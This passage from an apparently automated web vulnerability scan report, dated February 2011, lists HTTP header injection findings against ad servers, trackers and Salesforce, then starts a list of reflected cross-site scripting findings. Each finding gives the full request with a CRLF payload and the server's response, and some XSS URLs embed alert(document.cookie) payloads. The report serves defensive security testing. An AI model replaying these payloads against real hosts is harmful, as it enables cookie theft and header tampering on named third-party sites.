e9f2ac9bef5; expires=Sat, 07-May-2011 12: 18:54 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz01g; expires=Sat, 07-May-2011 12:18:54 GMT; domain=.serving-sys.com; path=/
Set-Cookie: C_=BlankImage
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 17:18:54 GMT
Connection: close

3.21. http://bs.serving-sys.com/BurstingPipe/adServer.bs [bwVal parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the bwVal request parameter is copied into the Set-Cookie response header. The payload c3e38%0d%0aea51dd9334e was submitted in the bwVal parameter. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4363488~~0~~~^ebAdDuration~10~0~01020^ebAboveTheFoldDuration~9~0~01020^ebAboveTheFold~0~0~01020|4443510~~0~~~^ebAdDuration~1~0~01020^ebAboveTheFoldDuration~1~0~01020^ebAboveTheFold~0~0~01020&OptOut=0&ebRandom=0.8359781634062529&flv=10.1103&wmpv=0&res=128&bwVal=c3e38%0d%0aea51dd9334e&bwTime=1296998548216 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Origin: http://www.baselinemag.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: u2=152b62bf-e208-4574-99e3-64f5d04be4b73Gz050; expires=Sat, 07-May-2011 08:22:02 GMT; domain=.serving-sys.com; path=/
Set-Cookie: eyeblaster=BWVal=c3e38
ea51dd9334e&BWDate=40580.348634&debuglevel=&FLV=10.1103&RES=128&WMPV=0; expires=Sat, 07-May-2011 08: 22:02 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 13:22:01 GMT
Connection: close
Content-Length: 0

3.22. http://bs.serving-sys.com/BurstingPipe/adServer.bs [eyeblaster cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the eyeblaster cookie is copied into the Set-Cookie response header. The payload b9a93%0d%0afca8ffe0901 was submitted in the eyeblaster cookie. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2117121&PluID=0&e=0&w=728&h=90&ord=7582024&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3aa6/3/0/%2a/m%3B235470018%3B0-0%3B0%3B23542470%3B3454-728/90%3B40150909/40168696/1%3Bu%3Dzdtopic%3Ditmanagement|zdtopic%3Denterprise|zdtopic%3Dintelligence|zdid%3Da6280|zdtype%3Darticle|zdaudience%3D|zdproduct%3D|zdcompany%3D|zdpagetype%3D%3B%7Eaopt%3D2/0/73/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: u3=1; C4=; ActivityInfo=000p81bCx%5f; eyeblaster=BWVal=408&BWDate=40573.510532&debuglevel=&FLV=10.1103&RES=128&WMPV=0b9a93%0d%0afca8ffe0901; A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gYyfadw90cvM00001gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001gL2MadKj0bdR00001gKXMaepH0bdR00001h802ae7k0c6L00001fUFGa50V02WG00001gYx+adw90cvM00001gKXNaepP0bdR00001gy3.ach00c9M00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001gNQ4ae7r0c9M00001; B3=7lgH0000000001sG89PS000000000QsZ89PT000000000.sZ8mb20000000001t48i440000000001t28bwx0000000001t482790000000002t5852G0000000003sS8qav0000000001t57dNH0000000002sZ7GHq0000000001s.7FCH0000000001s.83xP0000000001sF8cVQ0000000001sV82980000000001t3852N0000000001s.87ma0000000001s.6o.Q0000000001sY7gi30000000001sG8i430000000001t2852z0000000001sS852A0000000001sS; u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=408&BWDate=40573.510532&debuglevel=&FLV=10.1103&RES=128&WMPV=0b9a93
fca8ffe0901; expires=Sat, 07-May-2011 08: 21:37 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: A3=gLnTaeKR09sO00001h5j3abNz07l00000.h5iUabNz07l00000Qf+JvabEk02WG00002gNfHaaiN0aVX00001gn3Ka4JO09MY00001gYyfadw90cvM00001gL2MadKj0bdR00001fU+La50V0a+r00001h802ae7k0c6L00001gKXMaepH0bdR00001gKXNaepP0bdR00001gYx+adw90cvM00001fUFGa50V02WG00001gy3.ach00c9M00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gCTVa9bU0c9M00001gy5Da9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001gNQ4ae7r0c9M00001ge4Hack+0bM000001; expires=Sat, 07-May-2011 08:21:37 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=89PS000000000QsZ7lgH0000000001sG89PT000000000.sZ8bwx0000000001t48i440000000001t28mb20000000001t4852G0000000003sS82790000000002t57dNH0000000002sZ8qav0000000001t57GHq0000000001s.7FCH0000000001s.8cVQ0000000001sV83xP0000000001sF82980000000001t384U10000000001t6852N0000000001s.6o.Q0000000001sY87ma0000000001s.8i430000000001t27gi30000000001sG852z0000000001sS852A0000000001sS; expires=Sat, 07-May-2011 08:21:37 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g; expires=Sat, 07-May-2011 08:21:37 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 13:21:37 GMT
Connection: close
Content-Length: 2841

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

3.23. http://bs.serving-sys.com/BurstingPipe/adServer.bs [flv parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the flv request parameter is copied into the Set-Cookie response header. The payload 131a5%0d%0ad2c2e010a34 was submitted in the flv parameter. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4388343~~0~~~^ebBelowTheFold~0~0~01020&OptOut=0&ebRandom=0.06774244247935712&flv=131a5%0d%0ad2c2e010a34&wmpv=0&res=128 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Origin: http://www.baselinemag.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: u2=b7b7b2ef-33ea-42bf-9135-a5d225ccd4143Gz050; expires=Sat, 07-May-2011 08:21:34 GMT; domain=.serving-sys.com; path=/
Set-Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=&FLV=131a5
d2c2e010a34&RES=128&WMPV=0; expires=Sat, 07-May-2011 08: 21:34 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 13:21:33 GMT
Connection: close
Content-Length: 0

3.24. http://bs.serving-sys.com/BurstingPipe/adServer.bs [res parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the res request parameter is copied into the Set-Cookie response header. The payload 46baf%0d%0a393469f66ab was submitted in the res parameter. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4388343~~0~~~^ebBelowTheFold~0~0~01020&OptOut=0&ebRandom=0.06774244247935712&flv=10.1103&wmpv=0&res=46baf%0d%0a393469f66ab HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Origin: http://www.baselinemag.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: u2=76ac510f-28bb-4b8e-bda1-5dd09b3e46db3Gz070; expires=Sat, 07-May-2011 08:21:35 GMT; domain=.serving-sys.com; path=/
Set-Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=&FLV=10.1103&RES=46baf
393469f66ab&WMPV=0; expires=Sat, 07-May-2011 08: 21:35 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 13:21:34 GMT
Connection: close
Content-Length: 0

3.25. http://bs.serving-sys.com/BurstingPipe/adServer.bs [wmpv parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the wmpv request parameter is copied into the Set-Cookie response header. The payload 8bddc%0d%0a1cb899d5230 was submitted in the wmpv parameter. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4388343~~0~~~^ebBelowTheFold~0~0~01020&OptOut=0&ebRandom=0.06774244247935712&flv=10.1103&wmpv=8bddc%0d%0a1cb899d5230&res=128 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Origin: http://www.baselinemag.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: u2=57a20fa3-e884-41e5-a038-fc8ea0d310073Gz050; expires=Sat, 07-May-2011 08:21:35 GMT; domain=.serving-sys.com; path=/
Set-Cookie: eyeblaster=BWVal=&BWDate=&debuglevel=&FLV=10.1103&RES=128&WMPV=8bddc
1cb899d5230; expires=Sat, 07-May-2011 08: 21:35 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 13:21:35 GMT
Connection: close
Content-Length: 0

3.26. http://live.activeconversion.com/webtracker/track2.html [avc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://live.activeconversion.com
Path:	/webtracker/track2.html

Issue detail

The value of the avc request parameter is copied into the Set-Cookie response header. The payload 2106c%0d%0aeb95574723e was submitted in the avc parameter. This caused a response containing an injected HTTP header.

Request

GET /webtracker/track2.html?method=track&pid=31021&uclkt=1&alh=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue&avc=2106c%0d%0aeb95574723e&source=&keyword=&ref=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&pageTitle=Ownership%20Targeting%20%7C%20OwnerIQ&pageUrl=http%3A%2F%2Fwww.owneriq.com%2Fownership-targeting%3Fsrc%3D728x90_blue&java=1&amcs=0.41058127977885306 HTTP/1.1
Host: live.activeconversion.com
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/ownership-targeting?src=728x90_blue
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:35:44 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-store, no-cache, max-age=0, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=C1524BDBD48BB3A5968A32D0C1902338; Path=/webtracker
Set-Cookie: _wt_31021="1296945354839|2106c
eb95574723e|0"; Max-Age=630720000;Path=/; HttpOnly
P3P: policyref="http://www.activeconversion.com/w3c/p3p.xml", CP="NOI DSP LAW PSA OUR IND STA NAV COM"
Connection: close
Content-Type: image/png
Content-Length: 68

.PNG
.
...IHDR.....................IDATx.c`...............IEND.B`.

3.27. http://mm.chitika.net/track [target parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mm.chitika.net
Path:	/track

Issue detail

The value of the target request parameter is copied into the Location response header. The payload 7ddb9%0d%0ad1e8da5d420 was submitted in the target parameter. This caused a response containing an injected HTTP header.

Request

GET /track?target=7ddb9%0d%0ad1e8da5d420&xargs=1Owx8oFMt4m2YkqUMiPXwDnPUhRRY7ZEJ9LJTWSrnbZhgBfErhtcKKOiM6mjHeLYQPOhFTlgMiQNUi0Wzinee2B3WGL1cDC9iHCONuiA3%2FJLEbd3x%2FFU5i2%2FejQpwMx5yyDTjsWiUUsISHcBq5Cyt5RwSg5CKdbMkrYy9xwqz2dX1VJJLhn25UnM9r3EOr3kRAA7PYs93YlDtwLI5JLm3nWA7dYYrFPozVln3uSAGFgS4lCNg3xHbrApZyDMytFV2l2C7ULWrmQ1l9bzagD%2FAT68Pby1uNFEA22B%2FM90suzy%2FYjy3MzE23bVmK7lC9jUeyBWeaoqNWxXGRluKS44nJO34%2BrioOQV%2FxSJ%2By45Fo8X%2FyWC5WegF0dVp6w1Bt2lFzVLgvn19KwnF%2BFWR4G6ZhENP1sKJJ8ayL0Tdvc1we8TPqrcCxAlGk5VR%2F94hQcEKqe6WwkOm3ytJOOEop9VFSJq%2FtFSYoywNhWzr%2BIMaHWBqkqSde8xNIVIc5X5QSFeoSqyFJwnv8A%3D&template=v1-450xauto\ HTTP/1.1
Host: mm.chitika.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _cc=G/SkJiIEkgB5jwthOgp2U7fj6wwhdgvL4c0tN7QIkjl+9DY+kxm0FYEPwYHEtzd1Eb9GVhAFySrB7FsCah5yekHnHk86QdWmqzPlPoX9fVgKhjoJ7H0CpjFT5Hp1o2UMeStsZFPsF38vogWeCxRsANnVfye1gm5VQVRitA3zocW7G6iOKSNpC8nW/fSMYPkd+FCgRcmr74lmkl5cwzW3Czwl6LeM3oQBJIYcJ6NbVb7AFAn8X+k1IsMDj5bEGLsE44aH3XGVfZEeq7YK0yCm1xoznT+oB6MyoGrFo+3L+n46HJMn/fIuhcbGfmpCGIWgP/8azfwodcqzdnmXzDHV02SLzkuIP4TROEiHhvvFYJCve1mdj9NNH2b6m71cRkwsP7WlTZEvF7RLkkrfjucSwCzhr5Z1qjMilr/trLois3rxw1y+NdQfz3XqMUHrYIFc6GSu7GKj22sCBmPetmAel7epjXByEoA7.VuO7eR5Qy1Z0VmN7sMLZzA.4;

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:58:25 GMT
Server: Apache
P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: _cc=G/SkJSQEuhBljgvx6LisqP2AupJFgK5WemUmSqCRZBWwtlJoLJyYgB+x08rWfR/ShFOalNGTqfmziVraghl7E5uw5btOx1dW574W9FJdg9xGu8SZOgKpaXrz/KeWcoywhRG4MQwBrjR5HTBMUxakdzesJAd4Nllx/eIueA718dgTuI7OkPWLq5kZjUJi1hH8BvBRmtvD9sSaTkItOkMvQBn5y8eB2Gp0MskIHLnRFrJebU/IavRUXhAPea4WfMxpEOwV9DXMgU85wESeHUWmEzFegExxv1n4K/i4nOYKeA6L8d0eyjYfz8uXn3ThKSqF9Iq/lRa8qtkQAJ7UE7txh/8Q3dkebSqNOlEMRNgiDUcLqxp3a5iHCGn6SzZvUvsa4JchhEu05jAodlusGhdyDYZ2FHyz9ji7Dr9CcBp9CFsi6xzuPykQkPYHuRmbnXGF33GtvsL21BOvdvWactKWHYZJoFq3keAnHZZ5ScLOxGWr1lc2oUiObTE5Mitwsa52DBLd/xZxi39hOQ==.cEUs/P3Fg8JIxIN0nB7icA.4; path=/; domain=.chitika.net; expires=Sun, 05-Feb-2012 22:58:25 GMT
Location: 7ddb9
d1e8da5d420
Content-Length: 202
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="7ddb9
d1e8da5d420">here</a>.</p>
</body></html
...[SNIP]...

3.28. http://www.salesforce.com/servlet/servlet.WebToLead [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.salesforce.com
Path:	/servlet/servlet.WebToLead

Issue detail

The value of REST URL parameter 2 is copied into the Location response header. The payload 7d788%0d%0a7be81555d22 was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.

Request

GET /servlet/7d788%0d%0a7be81555d22 HTTP/1.1
Host: www.salesforce.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Server: SFDC
Location: /servlet/7d788
7be81555d22/
Date: Sat, 05 Feb 2011 22:09:45 GMT
Connection: close
Content-Length: 93

The URL has moved to <a href="/servlet/7d788
7be81555d22/">/servlet/7d788
7be81555d22/</a>

3.29. https://www.salesforce.com/servlet/servlet.WebToLead [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.salesforce.com
Path:	/servlet/servlet.WebToLead

Issue detail

The value of REST URL parameter 2 is copied into the Location response header. The payload 1b8d9%0d%0af0e07ef42ca was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.

Request

GET /servlet/1b8d9%0d%0af0e07ef42ca HTTP/1.1
Host: www.salesforce.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Server: SFDC
Location: /servlet/1b8d9
f0e07ef42ca/
Date: Sat, 05 Feb 2011 22:10:03 GMT
Connection: close
Content-Length: 93

The URL has moved to <a href="/servlet/1b8d9
f0e07ef42ca/">/servlet/1b8d9
f0e07ef42ca/</a>

4. Cross-site scripting (reflected) previous next
There are 700 instances of this issue:

http://a.ligatus.com/timeout.php [ids parameter]
http://a.ligatus.com/timeout.php [name of an arbitrarily supplied request parameter]
http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [adurl parameter]
http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [adurl parameter]
http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [ai parameter]
http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [ai parameter]
http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [client parameter]
http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [client parameter]
http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [num parameter]
http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [num parameter]
http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [sig parameter]
http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [sig parameter]
http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [sz parameter]
http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [sz parameter]
http://ad.doubleclick.net/adj/oiq.man.homeappliance/ [mfg parameter]
http://ad.doubleclick.net/adj/oiq.man.homeappliance/ [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/adj/oiq.man.homeappliance/ [tile parameter]
http://appcdn.wibiya.com/Handlers/newsticker.php [callback parameter]
http://ar.voicefive.com/b/rc.pli [func parameter]
http://baselinemag.us.intellitxt.com/al.asp [jscallback parameter]
http://baselinemag.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter]
http://baselinemag.us.intellitxt.com/v4/init [jscallback parameter]
http://baselinemag.us.intellitxt.com/v4/init [name of an arbitrarily supplied request parameter]
http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html [btid parameter]
http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html [ei parameter]
http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html [rtbhost parameter]
http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html [wp_exchange parameter]
http://connect.in.com/kochupusthakam/blog/malayalam-kambi-kathakal-kochu-pusthakam-hot-stories-08e6ccaa51723198405bf5af8bd98aab75c93754.html [REST URL parameter 1]
http://connect.in.com/kochupusthakam/blog/malayalam-kambi-kathakal-kochu-pusthakam-hot-stories-08e6ccaa51723198405bf5af8bd98aab75c93754.html [REST URL parameter 1]
http://dean.edwards.name/weblog/2006/03/base/ [REST URL parameter 1]
http://dean.edwards.name/weblog/2006/03/base/ [REST URL parameter 1]
http://dean.edwards.name/weblog/2006/03/base/ [REST URL parameter 4]
http://dean.edwards.name/weblog/2006/03/base/ [name of an arbitrarily supplied request parameter]
http://digg.com/submit [REST URL parameter 1]
http://download32.us.intellitxt.com/al.asp [jscallback parameter]
http://download32.us.intellitxt.com/iframescript.jsp [src parameter]
http://download32.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter]
http://download32.us.intellitxt.com/v4/advert [jscallback parameter]
http://download32.us.intellitxt.com/v4/context [jscallback parameter]
http://download32.us.intellitxt.com/v4/init [jscallback parameter]
http://download32.us.intellitxt.com/v4/init [name of an arbitrarily supplied request parameter]
http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload [REST URL parameter 1]
http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload [REST URL parameter 1]
http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload [name of an arbitrarily supplied request parameter]
http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload [name of an arbitrarily supplied request parameter]
http://ds.addthis.com/red/psi/sites/www.klivio.com/p.json [callback parameter]
http://ecal.forexpros.com/e_cal.php [bg1 parameter]
http://ecal.forexpros.com/e_cal.php [bg2 parameter]
http://ecal.forexpros.com/e_cal.php [border parameter]
http://ecal.forexpros.com/e_cal.php [header_bg parameter]
http://ecal.forexpros.com/e_cal.php [header_text_color parameter]
http://ecal.forexpros.com/e_cal.php [name of an arbitrarily supplied request parameter]
http://ecal.forexpros.com/e_cal.php [top_bg parameter]
http://ecal.forexpros.com/e_cal.php [top_text_color parameter]
http://flowplayer.org/tools/overlay.html [REST URL parameter 1]
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem [REST URL parameter 5]
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem [REST URL parameter 7]
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/ [REST URL parameter 5]
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/ [REST URL parameter 7]
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/ [REST URL parameter 7]
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/ [REST URL parameter 5]
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/ [REST URL parameter 7]
http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/ [REST URL parameter 5]
http://img.mediaplex.com/content/0/14302/119028/OI_revised_60days_baker_160x600.js [mpck parameter]
http://img.mediaplex.com/content/0/14302/119028/OI_revised_60days_baker_160x600.js [mpjs parameter]
http://img.mediaplex.com/content/0/14302/119028/OI_revised_60days_baker_160x600.js [mpvc parameter]
http://img.mediaplex.com/content/0/14302/119028/OI_revised_60days_baker_160x600.js [placementid parameter]
http://info.bisk.com/MCIndex.asp [name of an arbitrarily supplied request parameter]
http://jlinks.industrybrains.com/jsct [ct parameter]
http://jlinks.industrybrains.com/jsct [name of an arbitrarily supplied request parameter]
http://jlinks.industrybrains.com/jsct [tr parameter]
http://jqueryui.com/themeroller/ [bgColorActive parameter]
http://jqueryui.com/themeroller/ [bgColorContent parameter]
http://jqueryui.com/themeroller/ [bgColorDefault parameter]
http://jqueryui.com/themeroller/ [bgColorError parameter]
http://jqueryui.com/themeroller/ [bgColorHeader parameter]
http://jqueryui.com/themeroller/ [bgColorHighlight parameter]
http://jqueryui.com/themeroller/ [bgColorHover parameter]
http://jqueryui.com/themeroller/ [bgColorOverlay parameter]
http://jqueryui.com/themeroller/ [bgColorShadow parameter]
http://jqueryui.com/themeroller/ [bgImgOpacityActive parameter]
http://jqueryui.com/themeroller/ [bgImgOpacityContent parameter]
http://jqueryui.com/themeroller/ [bgImgOpacityDefault parameter]
http://jqueryui.com/themeroller/ [bgImgOpacityError parameter]
http://jqueryui.com/themeroller/ [bgImgOpacityHeader parameter]
http://jqueryui.com/themeroller/ [bgImgOpacityHighlight parameter]
http://jqueryui.com/themeroller/ [bgImgOpacityHover parameter]
http://jqueryui.com/themeroller/ [bgImgOpacityOverlay parameter]
http://jqueryui.com/themeroller/ [bgImgOpacityShadow parameter]
http://jqueryui.com/themeroller/ [bgTextureActive parameter]
http://jqueryui.com/themeroller/ [bgTextureContent parameter]
http://jqueryui.com/themeroller/ [bgTextureDefault parameter]
http://jqueryui.com/themeroller/ [bgTextureError parameter]
http://jqueryui.com/themeroller/ [bgTextureHeader parameter]
http://jqueryui.com/themeroller/ [bgTextureHighlight parameter]
http://jqueryui.com/themeroller/ [bgTextureHover parameter]
http://jqueryui.com/themeroller/ [bgTextureOverlay parameter]
http://jqueryui.com/themeroller/ [bgTextureShadow parameter]
http://jqueryui.com/themeroller/ [borderColorActive parameter]
